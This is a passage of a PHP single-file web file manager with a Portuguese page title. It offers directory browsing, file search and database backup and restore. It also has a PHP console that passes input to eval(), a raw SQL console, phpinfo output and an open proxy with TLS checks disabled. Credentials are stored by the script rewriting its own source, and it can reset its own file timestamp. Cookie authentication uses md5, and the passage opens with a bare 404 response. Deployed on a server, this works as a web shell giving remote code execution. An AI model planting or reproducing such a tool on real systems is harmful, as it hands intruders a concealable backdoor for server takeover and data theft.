			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
